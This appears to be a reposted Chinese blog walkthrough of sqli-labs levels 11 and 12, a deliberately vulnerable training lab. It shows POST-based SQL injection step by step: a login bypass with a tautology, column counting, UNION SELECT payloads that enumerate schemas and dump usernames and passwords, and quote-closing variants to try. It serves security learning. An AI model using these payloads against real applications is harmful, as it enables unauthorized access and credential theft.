zoukankan      html  css  js  c++  java
  • sql-lab闯关之11-12

    还是老生常谈的四个语句,熟悉一下。
    1.查库:select schema_name from information_schema.schemata;
    2.查表:select table_name from information_schema.tables where table_schema='security';
    3.查列:select column_name from information_schema.columns where table_name='users';
    4.查字段:select username,password from security.users;

    前面1-10用的是get 方法,后面的是post方法,需要使用burp抓包了。

    LESS11

    进入界面

     抓包


    我们将抓到的数据包中最后一行复制,使用post data进行注入。好了我们关闭代理。
    另外,在post注入中我们的注释符不能使用--+了,这是针对URL注入的,我们使用#
    输入:uname=admin'&passwd=admin&submit=Submit
    我们可以看到由于我们加了一个’ 尝试一下,返回的结果显示存在sql语法错误,证明存在注入漏洞。

     输入:uname=admin' or 1=1 #&passwd=admin&submit=Submit

     这里显示我们登录成功,以Dumb的用户名密码登陆成功,可以验证有注入漏洞。

    接着我们就需要上面的四个语句了,熟能生巧多打几遍就记住了。
    判断列
    输入:uname=a&passwd=a' order by 3#&submit=Submit

     输入:uname=n'order by 2 #&passwd=admin&submit=Submit


     虽然登录失败,但什么也没有显示,可以判断有两列。

    输入:uname=n'union select 1,2 #&passwd=admin&submit=Submit  判断回显位置


     输入:uname=n'union select 1,database()#&passwd=admin&submit=Submit  判断出所在security数据库

     同样,我们可以group_concat 和查库函数结合查询所有数据库
    输入:uname=n'union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin&submit=Submit

     可以看出查询到了所有库名,以security为例
    输入:uname=n'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

     查询到完了,我们以users为例
    输入:uname=n'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

    我们查询到了username和password 已经离成功很近了

    输入:uname=n'union select 1,group_concat(password)from security.users #&passwd=admin&submit=Submit

    当然查询username
    输入:uname=n'union select 1,group_concat(username)from security.users #&passwd=admin&submit=Submit
    当然,如果需要两者共同显示,我们可以再借助concat_ws函数了
    输入:uname=n'union select 1,(select group_concat(concat_ws('-',username,password))from security.users) #&passwd=admin&submit=Submit

     11关完成!

    LESS12
    12关和11关几乎相同,只不过是数据包的格式改变了而已,变成了(“a”) 将’改为”)就行了!

    注:一般测试我们可以测试以下格式,加上 or 1=1 #测试

    ’)
    ’))

    ”)
    ”))

  • 相关阅读:
    Java实现各种内部排序算法
    Java实现堆排序(大根堆)
    Java对象的序列化和反序列化
    Java实现链式存储的二叉查找树(递归方法)
    337. House Robber III(包含I和II)
    318. Maximum Product of Word Lengths
    114. Flatten Binary Tree to Linked List
    106. Construct Binary Tree from Inorder and Postorder Traversal
    105. Construct Binary Tree from Preorder and Inorder Traversal
    96. Unique Binary Search Trees(I 和 II)
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12390102.html
Copyright © 2011-2022 走看看